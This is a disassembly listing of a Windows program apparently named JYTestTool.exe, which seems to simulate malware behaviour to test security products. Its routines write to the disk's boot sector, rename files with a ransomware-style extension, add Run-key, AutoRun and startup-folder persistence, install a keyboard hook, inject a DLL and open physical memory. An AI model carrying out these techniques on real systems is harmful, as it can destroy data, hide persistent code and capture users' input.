lea rcx, str.C:JYJYtest.exe__ren_C:JY_a.exe
call fcn.14001b9a0
lea rcx, str.C:JYJYtest.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JY_a.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x200b0032
ja 0x14000776b
je 0x14000775f
cmp edi, 0x20050032
ja 0x14000770b
je 0x1400076ff
cmp edi, 0x20010032
je 0x1400076f3
cmp edi, 0x20020032
je 0x1400076e7
cmp edi, 0x20030032
je 0x1400076db
cmp edi, 0x20040032
jne case.default.0x14000d0ae
lea r8, str.http:___s:_s_test.class
jmp 0x140005585
lea r8, str.http:___s:_s_test.pdf
jmp 0x140005585
lea r8, str.http:___s:_s_test.zip
jmp 0x140005585
lea r8, str.http:___s:_s_test.cab
jmp 0x140005585
lea r8, str.http:___s:_s_test.jar
jmp 0x140005585
cmp edi, 0x20060032
je 0x140007753
cmp edi, 0x20080032
je 0x140007747
cmp edi, 0x20090032
je 0x14000773b
cmp edi, 0x200a0032
jne case.default.0x14000d0ae
lea r8, str.http:___s:_s_test.ppt
jmp 0x140005585
lea r8, str.http:___s:_s_test.xls
jmp 0x140005585
lea r8, str.http:___s:_s_test.doc
jmp 0x140005585
lea r8, str.http:___s:_s_test.hwp
jmp 0x140005585
lea r8, str.http:___s:_s_test.mp3
jmp 0x140005585
cmp edi, 0x20100032
ja 0x1400077d5
je 0x1400077c9
cmp edi, 0x200c0032
je 0x1400077bd
cmp edi, 0x200d0032
je 0x1400077b1
cmp edi, 0x200e0032
je 0x1400077a5
cmp edi, 0x200f0032
jne case.default.0x14000d0ae
lea r8, str.http:___s:_s_test.pptx
jmp 0x140005585
lea r8, str.http:___s:_s_test.mov
jmp 0x140005585
lea r8, str.http:___s:_s_test.avi
jmp 0x140005585
lea r8, str.http:___s:_s_test.mp4
jmp 0x140005585
lea r8, str.http:___s:_s_test.ra
jmp 0x140005585
cmp edi, 0x20110032
je 0x140007809
cmp edi, 0x20120032
je 0x1400077fd
cmp edi, 0x20130032
jne case.default.0x14000d0ae
lea r8, str.http:___s:_s_test.msi
jmp 0x140005585
lea r8, [0x1400495c8]
jmp 0x140005585
lea r8, str.http:___s:_s_test.rtf
jmp 0x140005585
test edi, edi
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x200
call fcn.140013860
xor edx, edx
mov byte [rbp + 0x360], 1
mov r8d, 0x1ff
lea rcx, [rbp + 0x361]
call fcn.140013860
mov qword [rsp + 0x30], r14
lea r8d, [rdi + 3]
mov dword [rsp + 0x28], r14d
lea rcx, [0x140049838]
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140007899
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140049860]
call fcn.140001030
jmp case.default.0x14000d0ae
lea r9, [rbp + 0x270]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
lea rdx, [rbp + 0x570]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov ebx, eax
test eax, eax
jne 0x1400078da
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ReadFile_failed._error_:__d_n
call fcn.140001030
jmp 0x140007a67
test rdi, rdi
je 0x1400078e8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, [0x1400498e0]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140007935
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFile_failed._error_:__d_n
call fcn.140001030
jmp case.default.0x14000d0ae
lea r9, [rbp + 0x270]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
lea rdx, [rbp + 0x360]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
test eax, eax
jne 0x140007976
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140049948]
call fcn.140001030
jmp 0x140007a67
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rbp + 0x270]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
lea rdx, [rbp + 0x570]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
test eax, eax
jne 0x140007a67
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WriteFile_failed._error_:__d_n
call fcn.140001030
jmp 0x140007a67
cmp edi, 0x20010034
jne case.default.0x14000d0ae
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, str..Physicaldrive0
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140007a2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFile_Failed_:__d__n
call fcn.140001030
jmp case.default.0x14000d0ae
mov qword [rsp + 0x38], r14
lea rax, [rbp + 0x270]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rbp + 0x280]
mov dword [rsp + 0x28], 0x18
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x74080
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test rdi, rdi
je case.default.0x14000d0ae
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
mov qword [rsp + 0x30], r14
lea r8d, [rdi + 3]
mov dword [rsp + 0x28], r14d
lea rcx, str..PhysicalDrive0
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je case.default.0x14000d0ae
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
cmp edi, 0x20010044
jne case.default.0x14000d0ae
call fcn.1400029f0
test eax, eax
jne case.default.0x14000d0ae
mov eax, dword [0x140049a70]
lea rcx, [rbp + 0x386]
movups xmm0, xmmword [str.C:JYDocument.xls]
mov dword [rbp + 0x380], eax
xor edx, edx
movups xmm1, xmmword [0x140049a60]
movzx eax, word [0x140049a74]
mov r8d, 0x1e2
movaps xmmword [rbp + 0x360], xmm0
movaps xmmword [rbp + 0x370], xmm1
mov word [rbp + 0x384], ax
call fcn.140013860
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x360]
mov esi, 2
mov dword [rsp + 0x28], 0x80
mov r8d, esi
mov dword [rbp + 0x270], r14d
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0xc0010000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140007b8f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x360]
lea rcx, [0x140049a78]
call fcn.140011870
jmp case.default.0x14000d0ae
lea r9, [rbp + 0x270]
mov qword [rsp + 0x20], r14
mov r8d, 4
lea rdx, [0x140041ba4]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140007bdf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140041ba4]
lea rcx, [0x140049a90]
call fcn.140011870
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rcx, [rbp + 0x360]
mov byte [rbp], bl
lea rdx, [rcx - 2]
mov qword [rbp + 8], r14
nop word [rax + rax]
cmp word [rdx + 2], bx
lea rdx, [rdx + 2]
jne 0x140007c00
mov eax, dword [0x140049ab8]
movups xmm0, xmmword [0x140049aa8]
movups xmmword [rdx], xmm0
mov dword [rdx + 0x10], eax
movzx eax, word [0x140049abc]
mov word [rdx + 0x14], ax
lea rdx, [rbp + 0x14]
sub rdx, rcx
nop
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140007c30
mov rdi, 0xffffffffffffffff
lea rcx, [rbp + 0x360]
mov rax, rdi
inc rax
cmp word [rcx + rax*2], bx
jne 0x140007c51
mov r9d, 0x18
mov dword [rbp + 0x10], eax
lea r8, [rbp]
mov rcx, r15
lea edx, [r9 - 0x15]
call qword [0x140091278]
test eax, eax
jne 0x140007c94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x360]
lea rcx, [0x140049ac0]
call fcn.140011870
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.C:JYDocument2.xls]
xor edx, edx
mov r8d, 0x1e0
movups xmm1, xmmword [0x140049b08]
lea rcx, [rbp + 0x598]
movaps xmmword [rbp + 0x570], xmm0
movsd xmm0, qword [0x140049b18]
movsd qword [rbp + 0x590], xmm0
movaps xmmword [rbp + 0x580], xmm1
call fcn.140013860
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x570]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov r8d, esi
mov dword [rsp + 0x20], 3
mov edx, 0xc0010000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, rdi
jne 0x140007d3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x570]
lea rcx, [0x140049b20]
call fcn.140011870
jmp case.default.0x14000d0ae
lea r9, [rbp + 0x270]
mov qword [rsp + 0x20], r14
mov r8d, 4
lea rdx, [0x140041ba4]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140007d8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140041ba4]
lea rcx, [0x140049b38]
call fcn.140011870
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rcx, [rbp + 0x570]
mov byte [rbp + 0x2c0], bl
lea rdx, [rcx - 2]
mov qword [rbp + 0x2c8], r14
nop
cmp word [rdx + 2], bx
lea rdx, [rdx + 2]
jne 0x140007db0
mov eax, dword [0x140049b60]
movups xmm0, xmmword [0x140049b50]
movups xmmword [rdx], xmm0
mov dword [rdx + 0x10], eax
movzx eax, word [0x140049b64]
mov word [rdx + 0x14], ax
lea rdx, [rbp + 0x2d4]
sub rdx, rcx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140007df0
lea rcx, [rbp + 0x570]
mov rax, rdi
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], bx
jne 0x140007e10
mov r9d, 0x18
mov dword [rbp + 0x2d0], eax
lea r8, [rbp + 0x2c0]
mov rcx, r15
lea edx, [r9 - 0x15]
call qword [0x140091278]
test eax, eax
jne 0x140007e59
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x570]
lea rcx, [0x140049b68]
call fcn.140011870
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.C:JYDocument3.xls]
xor edx, edx
mov r8d, 0x1e0
movups xmm1, xmmword [0x140049bb0]
lea rcx, [rbp + 0x7a8]
movaps xmmword [rbp + 0x780], xmm0
movsd xmm0, qword [0x140049bc0]
movsd qword [rbp + 0x7a0], xmm0
movaps xmmword [rbp + 0x790], xmm1
call fcn.140013860
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x780]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov r8d, esi
mov dword [rsp + 0x20], 3
mov edx, 0xc0010000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, rdi
jne 0x140007f03
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x780]
lea rcx, str.CreateFile
call fcn.140011870
jmp case.default.0x14000d0ae
lea r9, [rbp + 0x270]
mov qword [rsp + 0x20], r14
mov r8d, 4
lea rdx, [0x140041ba4]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140007f53
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140041ba4]
lea rcx, [0x140049be0]
call fcn.140011870
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rcx, [rbp + 0x780]
mov byte [rbp + 0x2c0], bl
lea rdx, [rcx - 2]
mov qword [rbp + 0x2c8], r14
cmp word [rdx + 2], bx
lea rdx, [rdx + 2]
jne 0x140007f74
mov eax, dword [0x140049c08]
movups xmm0, xmmword [str..ransomext]
movups xmmword [rdx], xmm0
mov dword [rdx + 0x10], eax
movzx eax, word [0x140049c0c]
mov word [rdx + 0x14], ax
lea rdx, [rbp + 0x294]
sub rdx, rcx
nop word [rax + rax]
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140007fb0
lea rax, [rbp + 0x780]
inc rdi
cmp word [rax + rdi*2], bx
jne 0x140007fc7
mov r9d, 0x18
mov dword [rbp + 0x290], edi
lea r8, [rbp + 0x280]
mov rcx, rsi
lea edx, [r9 - 0x15]
call qword [0x140091278]
test eax, eax
jne 0x140008010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x780]
lea rcx, str.pSetFileInformationByHandle
call fcn.140011870
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
test edi, edi
je 0x140008304
cmp edi, 0x50000
je 0x1400082d2
cmp edi, 0x20011001
je 0x1400082c1
cmp edi, 0x20061001
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x780]
mov r8d, 0x208
call fcn.140013860
xor edx, edx
lea rcx, [rbp + 0x570]
mov r8d, 0x208
call fcn.140013860
xor edx, edx
lea rcx, [rbp + 0x360]
mov r8d, 0x208
call fcn.140013860
xor r9d, r9d
lea rax, [rbp + 0x780]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1d]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jns 0x1400080bb
mov edx, eax
lea rcx, str.Get_StartUpPath_Failed___HRESULT_:__d
call fcn.140001820
jmp case.default.0x14000d0ae
xor r9d, r9d
lea rax, [rbp + 0x570]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1e]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jns 0x1400080f0
mov edx, eax
lea rcx, str.Get_CommonStartUpPath_Failed___HRESULT_:__d
call fcn.140001820
jmp case.default.0x14000d0ae
lea r8, [rbp + 0x780]
lea rdx, [0x140049d98]
lea rcx, [rbp + 0x360]
call fcn.140010040
lea rdx, [0x140042864]
lea rcx, [rbp + 0x360]
call fcn.1400011a0
test eax, eax
lea rdx, [0x140049dd8]
lea rcx, [0x140049db0]
cmove rcx, rdx
lea rdx, [rbp + 0x360]
call fcn.140001030
lea rcx, [rbp + 0x360]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp eax, 1
jne 0x14000815c
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r8, [rbp + 0x780]
mov word [rbp + 0x360], r14w
lea rdx, [0x140049e00]
lea rcx, [rbp + 0x360]
call fcn.140010040
lea rdx, [0x140042914]
lea rcx, [rbp + 0x360]
call fcn.1400011a0
test eax, eax
lea rdx, [0x140049e40]
lea rcx, [0x140049e18]
cmove rcx, rdx
lea rdx, [rbp + 0x360]
call fcn.140001030
lea rcx, [rbp + 0x360]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp eax, 1
jne 0x1400081d0
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r8, [rbp + 0x570]
mov word [rbp + 0x360], r14w
lea rdx, str._s_test.bat
lea rcx, [rbp + 0x360]
call fcn.140010040
lea rdx, [0x1400429c4]
lea rcx, [rbp + 0x360]
call fcn.1400011a0
test eax, eax
lea rdx, [0x140049ea8]
lea rcx, [0x140049e80]
cmove rcx, rdx
lea rdx, [rbp + 0x360]
call fcn.140001030
lea rcx, [rbp + 0x360]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp eax, 1
jne 0x140008244
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r8, [rbp + 0x570]
mov word [rbp + 0x360], r14w
lea rdx, str._s_test.lnk
lea rcx, [rbp + 0x360]
call fcn.140010040
lea rdx, [0x140043004]
lea rcx, [rbp + 0x360]
call fcn.1400011a0
test eax, eax
lea rdx, str.Create__s_Success__n
lea rcx, str.Create__s_Failed__n
cmove rcx, rdx
lea rdx, [rbp + 0x360]
call fcn.140001030
lea rcx, [rbp + 0x360]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
cmp eax, 1
jne case.default.0x14000d0ae
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, str.echo_Test___c:jy_test.bat
call fcn.14001b9a0
jmp case.default.0x14000d0ae
lea rcx, [0x140049cc0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x1400426c4]
lea rcx, [0x140049ce0]
call fcn.1400011a0
lea rcx, [0x140049d00]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140049c48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x140042594]
lea rcx, [0x140049c70]
call fcn.1400011a0
lea rcx, [0x140049c98]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp esi, 0x3000001
ja 0x140008640
je 0x1400085bd
sub esi, 0x2001002
je case.default.0x14000d0ae
sub esi, 1
je 0x140008523
sub esi, 1
je 0x1400083e0
cmp esi, 1
jne case.default.0x14000d0ae
test edi, edi
jne case.default.0x14000d0ae
lea rcx, [0x14004a1a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, str.test
lea rcx, [0x14004a1c8]
call fcn.1400011a0
mov ebx, eax
cmp eax, 0x65b
je case.default.0x14000d0ae
lea rcx, [0x14004a1f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x14004a220]
lea rcx, [0x14004a250]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
lea rcx, str.C:JYRenTest.txt
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYRenTestEnd.txt
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x20011004
je 0x14000850c
cmp edi, 0x20021004
je 0x1400084f5
cmp edi, 0x20031004
jne case.default.0x14000d0ae
lea rcx, [0x14004a078]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004a0a0]
call fcn.1400014c0
mov ebx, eax
cmp eax, 0x65b
je case.default.0x14000d0ae
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
lea rcx, [0x14004a0c8]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000847a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateFile_failed.__d__n
call fcn.140001030
jmp case.default.0x14000d0ae
xor r9d, r9d
mov dword [rbp + 4], 1
xor r8d, r8d
mov dword [rbp], 1
lea rdx, [rbp]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov ebx, eax
test eax, eax
jne 0x1400084d5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.SetFiletime_failed.__d_
call fcn.140001030
test rdi, rdi
je 0x1400084c3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14004a150]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
test rdi, rdi
je 0x1400084e3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.C:JY_filetime.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
mov edx, 4
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp case.default.0x14000d0ae
mov edx, 2
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp case.default.0x14000d0ae
test edi, edi
je 0x140008578
cmp edi, 0x50000
jne case.default.0x14000d0ae
lea rcx, [0x140049fe8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x140043804]
lea rcx, [0x14004a008]
call fcn.1400011a0
lea rdx, str.Modiddidii
lea rcx, [0x14004a038]
call fcn.140001300
lea rcx, str.C:_non_pe.bat
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140049f38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x1400431d4]
lea rcx, [0x140049f60]
call fcn.1400011a0
lea rdx, [0x140049f88]
lea rcx, [0x140049f98]
call fcn.140001300
lea rcx, str.C:JY_non_pe.bat
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x30010001
jne case.default.0x14000d0ae
lea rdx, str.DevicePhysicalMemory
mov qword [rbp], r14
lea rcx, [rbp + 0x270]
call qword [0x140091488]
lea rax, [rbp + 0x270]
mov dword [rbp + 0x280], gethostbyname
xorps xmm0, xmm0
mov qword [rbp + 0x290], rax
lea r8, [rbp + 0x280]
mov qword [rbp + 0x288], r14
mov edx, 0xf001f
mov dword [rbp + 0x298], r14d
lea rcx, [rbp]
movdqu xmmword [rbp + 0x2a0], xmm0
call qword [0x140091cc8]
mov rcx, qword [rbp]
test rcx, rcx
je case.default.0x14000d0ae
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x14000d0ae
cmp esi, 0x4000004
ja 0x14000afe9
je 0x14000ad2d
add esi, 0xfcfffffe
cmp esi, 0x18
ja case.default.0x14000d0ae
lea rdx, [0x140000000]
mov eax, dword [rdx + rsi*4 + 0xdfe8]
add rax, rdx
jmp rax
cmp edi, 0x30050002
ja 0x140008a96
je 0x1400088f4
cmp edi, 0x30010002
je 0x14000888d
cmp edi, 0x30030002
je 0x14000885f
cmp edi, 0x30040002
jne case.default.0x14000d0ae
movaps xmm0, xmmword [str.HKLMSoftwareMicrosoftwindowscurrentversion_runjy]
lea rcx, [rbp + 0x280]
movaps xmm1, xmmword [0x14004a3f0]
mov eax, dword [0x14004a448]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm0, xmmword [0x14004a400]
movaps xmmword [rbp + 0x310], xmm0
movaps xmm0, xmmword [0x14004a420]
movaps xmmword [rbp + 0x330], xmm0
movsd xmm0, qword [0x14004a440]
movaps xmmword [rbp + 0x300], xmm1
movaps xmm1, xmmword [0x14004a410]
movsd qword [rbp + 0x350], xmm0
movups xmm0, xmmword [0x14004a450]
mov dword [rbp + 0x358], eax
movzx eax, word [0x14004a478]
movaps xmmword [rbp + 0x320], xmm1
movaps xmm1, xmmword [0x14004a430]
movaps xmmword [rbp + 0x340], xmm1
movups xmm1, xmmword [0x14004a460]
mov word [rbp + 0x2e8], ax
movups xmmword [rbp + 0x2c0], xmm0
movsd xmm0, qword [0x14004a470]
movsd qword [rbp + 0x2e0], xmm0
movups xmm0, xmmword [str.C:JYJYRun.exe]
movups xmmword [rbp + 0x2d0], xmm1
movups xmm1, xmmword [0x14004a3c8]
movups xmmword [rbp + 0x280], xmm0
movups xmmword [rbp + 0x290], xmm1
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [rbp + 0x280]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [0x14003a274]
lea rcx, [rbp + 0x280]
call fcn.140001300
mov r8d, 1
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x2f0]
call fcn.140011160
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x2c0]
call fcn.1400014d0
lea rax, [rbp + 0x2c0]
mov edx, 0x100
lea r9, [rbp + 0x280]
mov qword [rsp + 0x20], rax
lea r8, [0x14004a480]
lea rcx, [rbp + 0x360]
call fcn.1400019e0
mov edx, sendto
lea rcx, [rbp + 0x360]
call fcn.140010310
mov edx, 0x1388
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test rdi, rdi
je 0x140008834
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2f0]
call fcn.140011530
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r8, rdi
lea rdx, [sym.JYTestTool.exe_long_long___int64____cdecl_kbdHandler_int__unsigned_long_long_unsigned___int64___long_long___int64__]
mov r9d, eax
mov ecx, 7
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
jmp case.default.0x14000d0ae
lea rcx, [0x14004a300]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x14004a328]
call fcn.1400014d0
mov edx, sendto
lea rcx, [0x14004a350]
call fcn.140010310
lea rdx, str.C:jyinject.dll
mov rcx, rax
mov rdi, rax
call fcn.140010670
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test rdi, rdi
je 0x1400088e2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.c:jyinject.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
mov eax, dword [0x14004a500]
lea rcx, [rbp + 0x2c0]
movaps xmm0, xmmword [str.HKLMSoftwareMicrosoftCommand_ProcessorAUTORUN]
movaps xmm1, xmmword [0x14004a4b0]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm0, xmmword [0x14004a4c0]
movaps xmmword [rbp + 0x310], xmm0
movaps xmm0, xmmword [0x14004a4e0]
movaps xmmword [rbp + 0x330], xmm0
movups xmm0, xmmword [0x14004a508]
mov dword [rbp + 0x350], eax
movzx eax, word [0x14004a530]
movaps xmmword [rbp + 0x300], xmm1
movaps xmm1, xmmword [0x14004a4d0]
movaps xmmword [rbp + 0x320], xmm1
movaps xmm1, xmmword [0x14004a4f0]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x2a8], ax
movsd xmm0, qword [0x14004a528]
mov eax, dword [0x14004a560]
movaps xmmword [rbp + 0x340], xmm1
movups xmm1, xmmword [0x14004a518]
mov dword [rbp + 0x2e8], eax
movsd qword [rbp + 0x2a0], xmm0
movups xmm0, xmmword [str.C:JYJYAutoStart.exe]
movups xmmword [rbp + 0x290], xmm1
movups xmm1, xmmword [0x14004a548]
movups xmmword [rbp + 0x2c0], xmm0
movsd xmm0, qword [0x14004a558]
movsd qword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2d0], xmm1
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [rbp + 0x2c0]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, str.autorun
lea rcx, [rbp + 0x2c0]
call fcn.140001300
mov r8d, 1
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x2f0]
call fcn.140011160
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x280]
call fcn.1400014d0
lea rax, [rbp + 0x280]
mov edx, 0x100
lea r9, [rbp + 0x2c0]
mov qword [rsp + 0x20], rax
lea r8, [0x14004a568]
lea rcx, [rbp + 0x360]
